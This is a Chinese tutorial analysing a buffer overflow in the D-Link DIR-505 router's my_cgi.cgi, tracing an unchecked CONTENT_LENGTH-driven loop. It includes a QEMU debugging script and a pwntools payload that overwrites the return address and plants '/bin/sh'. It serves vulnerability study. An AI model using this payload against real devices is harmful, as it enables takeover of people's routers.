D-Link DIR-505便携路由器越界漏洞分析
字数 982 2025-08-22 12:23:00

D-Link DIR-505便携路由器越界漏洞分析教学文档

一、文件系统提取方法

1. 使用dd命令提取固件

dd if=DIR505A1_FW108B10.bin skip=1048660 bs=1 of=dir505.sfs
  • if: 输入文件
  • of: 输出文件
  • bs: 块大小设置为1字节
  • skip: 跳过固件二进制映像中特定地址的指针

2. 尝试解压Squashfs文件系统

提取后得到dir505.sfs文件,使用unsquashfs工具解压:

unsquashfs dir505.sfs

解压失败原因:文件内容结尾填充了其他数据,导致解压失败。

二、漏洞分析流程

1. 查找溢出参数

  • 通过逆向分析寻找可能导致溢出的输入参数

2. 交叉引用分析

  • 使用IDA的交叉引用功能(Xref)找到引用关键字符串的函数
  • 重点关注get_input_entries函数

3. 图形化分析函数流程

  • 切换到IDA的graph overview模式
  • 分析get_input_entries函数的整体控制流

4. 参数来源追踪

关键点:

  • 参数来源可能在本函数内,也可能来自传入参数
  • 需要回溯函数调用链追踪参数源头
  • 查看引用get_input_entries函数的上级函数

5. 漏洞点分析

发现关键问题:

  • 循环次数未做限制,导致可利用的溢出点
  • 跟踪过程:
    get_input_entries(s0, s2)
    s0 -> sp-0x74920[477450]
    s2 -> v0=strtol(v0,0,10)
    v0 -> getenv("CONTENT_LENGTH")返回值
    s2 -> strtol(getenv("CONTENT_LENGTH"),0,10)
    

三、动态调试验证

1. 调试脚本

#!/bin/bash
# 待执行命令
INPUT=`python -c "print 'storage_path='+'B'*477472+'A'*4"`
LEN=$(echo -n "$INPUT" | wc -c) # 参数1的长度
PORT="1234" # 监听的调试端口

# 用法检查
if [ "$LEN" == "0" -o "$INPUT" == "-h" -o "$UID" != "0" ]; then
  echo -e "\nUsage: sudo $0 \n"
  exit 1
fi

# 设置调试环境
cp $(which qemu-mips-static) ./qemu
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN \
  -E CONTENT_TYPE="multipart/formdata" \
  -E SCRIPT_NAME="common" \
  -E REQUEST_METHOD="POST" \
  -E REQUEST_URI="/my_cgi.cgi" \
  -E REMOTE_ADDR="127.0.0.1" \
  -g $PORT /usr/bin/my_cgi.cgi

echo 'run ok'
rm -f ./qemu

注意:CONTENT_TYPE="multipart/formdata"中少了横线"-",这是为了能正确在get_input_entries函数中断下。

2. 调试设置

  • get_input_entries函数设置断点
  • 验证确实控制了返回地址(RA)的值

四、漏洞利用开发

1. ROP链构造

from pwn import *
context.endian="big"
context.arch="mips"

payload = "storage_path="
payload += "a" * 0x7490a
payload += "b" * 0x16
payload += p32(0x00404EA0)  # 覆盖返回地址
payload += "c" * 0x8C
payload += "/bin/sh\x00"    # 放置"/bin/sh"字符串

with open("payload",'wb') as f:
    f.write(payload)
f.close()

五、关键分析技巧总结

  1. 逆向分析基础:必须掌握如何根据汇编代码回溯数据来源
  2. 输入点定位:找到漏洞输入点是分析工作的核心
  3. 参数追踪:需要耐心跟踪参数传递链,包括:
    • 函数内部变量
    • 传入参数
    • 环境变量(如CONTENT_LENGTH)
  4. 动态验证:静态分析后必须通过动态调试确认漏洞
  5. 利用开发:注意MIPS架构的特殊性(大端序)和路由器环境的限制

六、补充说明

  1. 环境变量控制:通过qemu的-E参数设置环境变量模拟HTTP请求
  2. 调试技巧
    • 使用chroot创建隔离环境
    • 需要root权限运行调试脚本
    • 注意qemu必须使用static版本
  3. 漏洞本质:未对CONTENT_LENGTH进行有效验证导致缓冲区溢出
D-Link DIR-505便携路由器越界漏洞分析教学文档 一、文件系统提取方法 1. 使用dd命令提取固件 if : 输入文件 of : 输出文件 bs : 块大小设置为1字节 skip : 跳过固件二进制映像中特定地址的指针 2. 尝试解压Squashfs文件系统 提取后得到 dir505.sfs 文件,使用 unsquashfs 工具解压: 解压失败原因:文件内容结尾填充了其他数据,导致解压失败。 二、漏洞分析流程 1. 查找溢出参数 通过逆向分析寻找可能导致溢出的输入参数 2. 交叉引用分析 使用IDA的交叉引用功能(Xref)找到引用关键字符串的函数 重点关注 get_input_entries 函数 3. 图形化分析函数流程 切换到IDA的graph overview模式 分析 get_input_entries 函数的整体控制流 4. 参数来源追踪 关键点: 参数来源可能在本函数内,也可能来自传入参数 需要回溯函数调用链追踪参数源头 查看引用 get_input_entries 函数的上级函数 5. 漏洞点分析 发现关键问题: 循环次数未做限制,导致可利用的溢出点 跟踪过程: 三、动态调试验证 1. 调试脚本 注意: CONTENT_TYPE="multipart/formdata" 中少了横线"-",这是为了能正确在 get_input_entries 函数中断下。 2. 调试设置 在 get_input_entries 函数设置断点 验证确实控制了返回地址(RA)的值 四、漏洞利用开发 1. ROP链构造 五、关键分析技巧总结 逆向分析基础 :必须掌握如何根据汇编代码回溯数据来源 输入点定位 :找到漏洞输入点是分析工作的核心 参数追踪 :需要耐心跟踪参数传递链,包括: 函数内部变量 传入参数 环境变量(如CONTENT_ LENGTH) 动态验证 :静态分析后必须通过动态调试确认漏洞 利用开发 :注意MIPS架构的特殊性(大端序)和路由器环境的限制 六、补充说明 环境变量控制 :通过qemu的-E参数设置环境变量模拟HTTP请求 调试技巧 : 使用chroot创建隔离环境 需要root权限运行调试脚本 注意qemu必须使用static版本 漏洞本质 :未对CONTENT_ LENGTH进行有效验证导致缓冲区溢出